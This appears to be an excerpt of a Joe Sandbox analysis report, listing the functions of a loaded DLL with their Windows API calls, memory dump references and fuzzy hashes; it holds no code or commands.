dllmain_raw.LIBCMT ref: 6E9B12C9
dllmain_crt_dispatch.LIBCMT ref: 6E9B12DC
dllmain_raw.LIBCMT ref: 6E9B12EF

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: dllmain_raw$dllmain_crt_dispatch
String ID:
API String ID: 3136044242-0
Opcode ID: b6c945e1b583c371edd56800f071c3d852892af23eaf362e9c8786f112086ea5
Instruction ID: 8617da2c342937c19a659e4db7ddce9d6ef32f6d77ec48fa425d8b32fe9c8c05
Opcode Fuzzy Hash: b6c945e1b583c371edd56800f071c3d852892af23eaf362e9c8786f112086ea5
Instruction Fuzzy Hash: 5E218071D05259AEDB514FD7C840AAF3A7DDF83A94F104529FC149A214E331CD198FE0

Function 6E9B7DA7 Relevance: 6.1, APIs: 4, Instructions: 74
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetEnvironmentStringsW.KERNEL32 ref: 6E9B7DAF

Part of subcall function 6E9B7D04: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,6E9BA890,?,00000000,-00000008), ref: 6E9B7D65

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E9B7DE7
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 6E9B7E07

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7905c9e1647a8637b3cf5c4fe66e5236962ced77cf5c3e76c11bfb8c3e65ace1
Instruction ID: 8a779e42204a22ad12be876e55a3f56f5594b4523e0ff10f7ed146496a11c868
Opcode Fuzzy Hash: 7905c9e1647a8637b3cf5c4fe66e5236962ced77cf5c3e76c11bfb8c3e65ace1
Instruction Fuzzy Hash: F411A1F5919A15BFAB0216F68C8DDAF296DDED669CB100B25F804D1194EF70DD0089B0

Function 6E9B4167 Relevance: 4.5, APIs: 3, Instructions: 15
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetCurrentProcess.KERNEL32(00000000,?,6E9B4161,6E9B1014,6E9B1014,?,00000000,2C30112C,6E9B1014,00000000), ref: 6E9B4178
TerminateProcess.KERNEL32(00000000,?,6E9B4161,6E9B1014,6E9B1014,?,00000000,2C30112C,6E9B1014,00000000), ref: 6E9B417F
ExitProcess.KERNEL32 ref: 6E9B4191

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: Process$CurrentExitTerminate
String ID:
API String ID: 1703294689-0
Opcode ID: 973edddee2a1b23d83845a2b08e128e28e335d5397fecb043ad5254e8d7449c1
Instruction ID: ab696afcd0e0014a3645eff724ae3d24bc4d8e768588a713833b4db7220e5cb7
Opcode Fuzzy Hash: 973edddee2a1b23d83845a2b08e128e28e335d5397fecb043ad5254e8d7449c1
Instruction Fuzzy Hash: 70D06776808508ABCF012FA0CC0C88A3F69AFA16497204410F91945031EB31D997AE90

Function 6E9B1076 Relevance: 3.1, APIs: 2, Instructions: 76
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__RTC_Initialize.LIBCMT ref: 6E9B10C3

Part of subcall function 6E9B1546: InitializeSListHead.KERNEL32(6E9C6C30,6E9B10CD,6E9C44D8,00000010,6E9B105E,?,?,?,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520), ref: 6E9B154B

___scrt_is_nonwritable_in_current_image.LIBCMT ref: 6E9B112D

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: Initialize$HeadList___scrt_is_nonwritable_in_current_image
String ID:
API String ID: 3231365870-0
Opcode ID: 9a7754c87b1732b5761392d7ebd8bac79591141506c0c46e59ab4ebeddbee7ba
Instruction ID: 5bb19186071c5959b80832c0db9e4f19cb3968b62d237b053b76b8c5ac98dce6
Opcode Fuzzy Hash: 9a7754c87b1732b5761392d7ebd8bac79591141506c0c46e59ab4ebeddbee7ba
Instruction Fuzzy Hash: 6321F3325492029ADB04ABEAC8113EF37AD9FA766CF200C19D4516B282CB72C44DCE66

Function 6E9B87A5 Relevance: 3.1, APIs: 2, Instructions: 65
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetStdHandle.KERNEL32(000000F6), ref: 6E9B87F1
GetFileType.KERNELBASE(00000000), ref: 6E9B8803

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: FileHandleType
String ID:
API String ID: 3000768030-0
Opcode ID: a4867ef191456eb5200498d2cc10487fa7abd5e03eafd7ed958721d096ccd2bf
Instruction ID: 669d97631504c635f6c5721174b1a3f61f130e5f7a0df3d441b136e3cdf3e463
Opcode Fuzzy Hash: a4867ef191456eb5200498d2cc10487fa7abd5e03eafd7ed958721d096ccd2bf
Instruction Fuzzy Hash: 8D11B4725087538BD7744DBE8CD86537A9CAF5B335B240B1ED1B6869F1C330D486CA81

Function 6E9B99E0 Relevance: 1.6, APIs: 1, Instructions: 89
processCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CreateProcessW.KERNELBASE(?,00000001,?,?,?,00000000,?,00000000,00000001,00000000,?,?,?,?,00000000,?), ref: 6E9B9A95

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: CreateProcess
String ID:
API String ID: 963392458-0
Opcode ID: 9476f1033bd158d83e9b2829b6659a800b6e153cd7b186b39b2f70f79a908a25
Instruction ID: cfcb7f97c050c205ce9dc135097ab7d7a4568c7af9604615ed64ce5fc2f20dd7
Opcode Fuzzy Hash: 9476f1033bd158d83e9b2829b6659a800b6e153cd7b186b39b2f70f79a908a25
Instruction Fuzzy Hash: 32310AB2C14259BFDF028FD9DD80ADEBFB9BF58204F54406AE918B2211D7318950CF60

Function 6E9B8371 Relevance: 1.6, APIs: 1, Instructions: 56
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 61872f7641865333f7311e6203208c81f29081a4eda586a44ff8bbfc535903cf
Instruction ID: 2075c6a7b760339b286ab878b651315a14b3ab67175e9c67e07b3adf806fa216
Opcode Fuzzy Hash: 61872f7641865333f7311e6203208c81f29081a4eda586a44ff8bbfc535903cf
Instruction Fuzzy Hash: B101D673254617AF9F1ADAAEDC54A6B3369EFCAB207104514FD1197144DA31D800CB90

Function 6E9B9163 Relevance: 1.5, APIs: 1, Instructions: 32
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000000,6E9B76AF,6E9B8E7D,?,6E9B76AF,00000220,?,?,6E9B8E7D), ref: 6E9B9195

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: AllocateHeap
String ID:
API String ID: 1279760036-0
Opcode ID: cf714716c9b74b3f67188e6d84a93b880cdff03461dc5354205804edbfeaf9c4
Instruction ID: e207ee9eed95d3a4ee97557a25a6e195f169bafe66afba8c350dd563869312a4
Opcode Fuzzy Hash: cf714716c9b74b3f67188e6d84a93b880cdff03461dc5354205804edbfeaf9c4
Instruction Fuzzy Hash: 21E0E52127462AAAFF5116FACC1C78B364C9FA27A4F108110DC24971C0DB31CC00AEB1

Non-executed Functions

Function 6E9B1865 Relevance: 6.1, APIs: 4, Instructions: 70COMMONLIBRARYCODE

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(00000017,00000000), ref: 6E9B1871
IsDebuggerPresent.KERNEL32 ref: 6E9B193D
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 6E9B1956
UnhandledExceptionFilter.KERNEL32(?), ref: 6E9B1960

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterPresentUnhandled$DebuggerFeatureProcessor
String ID:
API String ID: 254469556-0
Opcode ID: f6f8f7937c3d0971e61bb74c86a8cd3bab2fbeb29367164e27eea537936aa31e
Instruction ID: 6f7fadee75c89f2caf5cbc0c31868b6870af51b202f19fc7aa86f959feea5baf
Opcode Fuzzy Hash: f6f8f7937c3d0971e61bb74c86a8cd3bab2fbeb29367164e27eea537936aa31e
Instruction Fuzzy Hash: 763106B9D052189BDF20DFA5D9497CEBBB8BF09304F1041EAE40CAB250EB719A84CF45

Function 6E9B5312 Relevance: 4.6, APIs: 3, Instructions: 77COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32(?,?,?,?,?,?), ref: 6E9B540A
SetUnhandledExceptionFilter.KERNEL32(00000000,?,?,?,?,?,?), ref: 6E9B5414
UnhandledExceptionFilter.KERNEL32(?,?,?,?,?,?,?), ref: 6E9B5421

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ExceptionFilterUnhandled$DebuggerPresent
String ID:
API String ID: 3906539128-0
Opcode ID: 385eb6bc27a1d5cf63378d9b5d9a64b7f71632fdf3132886d9f9556b4be2a5de
Instruction ID: 4409bfb50ca549237fd47f32573f3d6c4d770dedfcd95f2100aab13f83d0cf46
Opcode Fuzzy Hash: 385eb6bc27a1d5cf63378d9b5d9a64b7f71632fdf3132886d9f9556b4be2a5de
Instruction Fuzzy Hash: FD31E4B4D0122C9BCB21DF64D9887CDBBB8BF19714F5045EAE41CA7260E7709B858F44

Function 6E9BE135 Relevance: 1.8, APIs: 1, Instructions: 269COMMONLIBRARYCODE

Download Yara Rule

APIs

RaiseException.KERNEL32(C000000D,00000000,00000001,?,?,00000008,?,?,6E9BE130,?,?,00000008,?,?,6E9BDD33,00000000), ref: 6E9BE362

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ExceptionRaise
String ID:
API String ID: 3997070919-0
Opcode ID: 66317e1b73534addad331ef064edc82ef5e39b50517ee26c5686deba1df19f36
Instruction ID: a8e0812854db3a430f45f6a9142c19fb927779e41eab0aee24b0ff6fcde24da2
Opcode Fuzzy Hash: 66317e1b73534addad331ef064edc82ef5e39b50517ee26c5686deba1df19f36
Instruction Fuzzy Hash: 2AB18931610609DFD745CF68C496B667BE9FF05364F2586A8E8A9CF2A1C335E982CF40

Function 6E9B1A28 Relevance: 1.6, APIs: 1, Instructions: 147COMMON

Download Yara Rule

APIs

IsProcessorFeaturePresent.KERNEL32(0000000A), ref: 6E9B1A3E

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: FeaturePresentProcessor
String ID:
API String ID: 2325560087-0
Opcode ID: 5f7c3aec0be842774b6955981c7cba113ef5c3706cebf6c6af53b206d89fd0ec
Instruction ID: 8d11fa376a85af2106cb8d41745d9daaf6704beecce8f72e9165aa24d5913604
Opcode Fuzzy Hash: 5f7c3aec0be842774b6955981c7cba113ef5c3706cebf6c6af53b206d89fd0ec
Instruction Fuzzy Hash: F3516AB1A24A15CBEB04CFA6C4957AEBBF4FF4AB14F20852AD411EB245E774E904CF50

Function 6E9B6CE9 Relevance: 1.6, APIs: 1, Instructions: 140COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 9482f977c72bd58637373990922e703005f0aaf7cb09c81277090b96d7fadd38
Instruction ID: 2bc89b501c505d9a232496d81c72c337dac9184fa3d247ee61aace35e3eeb3eb
Opcode Fuzzy Hash: 9482f977c72bd58637373990922e703005f0aaf7cb09c81277090b96d7fadd38
Instruction Fuzzy Hash: E54182B5814219AEDB509FA9CC88AEABBBDEF85304F1445D9E419D3201DB30AE84CF50

Function 6E9B86D4 Relevance: 1.3, APIs: 1, Instructions: 5memoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32 ref: 6E9B86D4

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: HeapProcess
String ID:
API String ID: 54951025-0
Opcode ID: ed2eadc01ce728a5118931bd9946ddb322fdec0abc96751415a166e57e3797b4
Instruction ID: eddd80219ae85a6b96cc80f6c682e4ecc92e34b5c46145fd8794647bbbd87ec3
Opcode Fuzzy Hash: ed2eadc01ce728a5118931bd9946ddb322fdec0abc96751415a166e57e3797b4
Instruction Fuzzy Hash: 4BA001B4A09A02CB9B449E3A8E0930A3AA9BF46AE5715C069E406C61A0EA2485509F12

Function 6E9B5DA3 Relevance: 17.8, APIs: 8, Strings: 2, Instructions: 278COMMON

Download Yara Rule

Strings

PATH, xrefs: 6E9B5E7A, 6E9B5E80
\, xrefs: 6E9B5F1D

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ErrorFreeHeapLast
String ID: PATH$\
API String ID: 485612231-1896636505
Opcode ID: caa0f997ae3a3b647ea3b82be59eaf60be46a931a4f043d64e68e921796dd07f
Instruction ID: 3b06b230ddf5997d1f506c23bbf8a40e194c7385c432baabb095856a048c4ef7
Opcode Fuzzy Hash: caa0f997ae3a3b647ea3b82be59eaf60be46a931a4f043d64e68e921796dd07f
Instruction Fuzzy Hash: 9A9103B1D28206EFEB158FE6CC50BEF7BBEAF55314F10482AE421A6182EB75D540CE50

Function 6E9B328F Relevance: 12.6, APIs: 4, Strings: 3, Instructions: 303COMMONLIBRARYCODE

Download Yara Rule

APIs

type_info::operator==.LIBVCRUNTIME ref: 6E9B33AE
___TypeMatch.LIBVCRUNTIME ref: 6E9B34BC
_UnwindNestedFrames.LIBCMT ref: 6E9B360E
CallUnexpected.LIBVCRUNTIME ref: 6E9B3629

Strings

csm, xrefs: 6E9B3339
csm, xrefs: 6E9B33E5
csm, xrefs: 6E9B32CC

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: CallFramesMatchNestedTypeUnexpectedUnwindtype_info::operator==
String ID: csm$csm$csm
API String ID: 2751267872-393685449
Opcode ID: da1e05de27f32010f57587a690c608e4587f995f69b835b8df8e86b30089cd20
Instruction ID: bd9052ea27d324cdecad4a11dd781a293565f9e4c6d5d7966b22caf8ad9ab591
Opcode Fuzzy Hash: da1e05de27f32010f57587a690c608e4587f995f69b835b8df8e86b30089cd20
Instruction Fuzzy Hash: 02B1747180020AEFCF05CFE5C88899FBBB9FF54714B50446AE824AB215DBB1EA51CF91

Function 6E9BC012 Relevance: 12.2, APIs: 8, Instructions: 248COMMONLIBRARYCODE

Download Yara Rule

APIs

GetCPInfo.KERNEL32(00000000,00000001,?,7FFFFFFF,?,6E9BC2E2,00000000,00000000,00000000,00000001,?,?,?,?,00000001,00000000), ref: 6E9BC0B8
__alloca_probe_16.LIBCMT ref: 6E9BC173
__alloca_probe_16.LIBCMT ref: 6E9BC202
__freea.LIBCMT ref: 6E9BC24D
__freea.LIBCMT ref: 6E9BC253
__freea.LIBCMT ref: 6E9BC289
__freea.LIBCMT ref: 6E9BC28F
__freea.LIBCMT ref: 6E9BC29F

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: __freea$__alloca_probe_16$Info
String ID:
API String ID: 127012223-0
Opcode ID: 88fc4238977d9f6b02ba482d92bc78e4d21180c11003fdd7c9b21f80a4342c63
Instruction ID: b28b99561730a699595d5f5070a752addbfbad3284b3666dab9a286bc17cabc9
Opcode Fuzzy Hash: 88fc4238977d9f6b02ba482d92bc78e4d21180c11003fdd7c9b21f80a4342c63
Instruction Fuzzy Hash: 7771A172A0420AAFEF108AE48C51BEF77AD9FCA314F140959E954BF280E775D8418F91

Function 6E9B1C50 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 120COMMON

Download Yara Rule

APIs

_ValidateLocalCookies.LIBCMT ref: 6E9B1C87
___except_validate_context_record.LIBVCRUNTIME ref: 6E9B1C8F
_ValidateLocalCookies.LIBCMT ref: 6E9B1D18
__IsNonwritableInCurrentImage.LIBCMT ref: 6E9B1D43
_ValidateLocalCookies.LIBCMT ref: 6E9B1D98

Strings

csm, xrefs: 6E9B1D2D

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: CookiesLocalValidate$CurrentImageNonwritable___except_validate_context_record
String ID: csm
API String ID: 1170836740-1018135373
Opcode ID: 4108e0e80d24232af459c1c741241d030bb61c04ba7743c39036f287895f3e0c
Instruction ID: 509ac5eb2e943e72ca590de7f077edf4d2488a9ef89db7610ff955489773f02e
Opcode Fuzzy Hash: 4108e0e80d24232af459c1c741241d030bb61c04ba7743c39036f287895f3e0c
Instruction Fuzzy Hash: 9E417134910219ABCF04CFEAC884ADFBBB9EF86318F108555E8259B351D731DA59CF91

Function 6E9B235C Relevance: 9.1, APIs: 6, Instructions: 60COMMONLIBRARYCODE

Download Yara Rule

APIs

GetLastError.KERNEL32(00000001,?,6E9B1E31,6E9B163B,6E9B104E,?,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520,0000000C,6E9B137F), ref: 6E9B236A
___vcrt_FlsGetValue.LIBVCRUNTIME ref: 6E9B2378
___vcrt_FlsSetValue.LIBVCRUNTIME ref: 6E9B2391
SetLastError.KERNEL32(00000000,6E9B1286,?,00000001,?,?,00000001,?,6E9C4520,0000000C,6E9B137F,?,00000001,?), ref: 6E9B23E3

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415780304.000000006E9C6000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415802869.000000006E9C8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6e9b0000_loaddll32.jbxd

Similarity

API ID: ErrorLastValue___vcrt_
String ID:
API String ID: 3852720340-0
Opcode ID: f4ad979e04fb322c4f3e50b016b2400259427ec565b6ecb94d03a8251a5fe29c
Instruction ID: ecb1424a08175ba16312801e208a0f66b68f04addee6207019c8bf1a5a94125c
Opcode Fuzzy Hash: f4ad979e04fb322c4f3e50b016b2400259427ec565b6ecb94d03a8251a5fe29c
Instruction Fuzzy Hash: 9B0128B211C711AEA64426F55CC865B3A5CEF47F783200629ED20961E0EF71C8408E50

Function 6E9B7136 Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 79COMMON

Download Yara Rule

Strings

C:\Windows\system32\loaddll32.exe, xrefs: 6E9B7152

Memory Dump Source

Source File: 00000000.00000002.2415736616.000000006E9B1000.00000020.00000001.01000000.00000003.sdmp, Offset: 6E9B0000, based on PE: true

Associated: 00000000.00000002.2415712219.000000006E9B0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2415758938.000000006E9BF000.00000002.00000001.01000000.00000003.sdmpDownload File
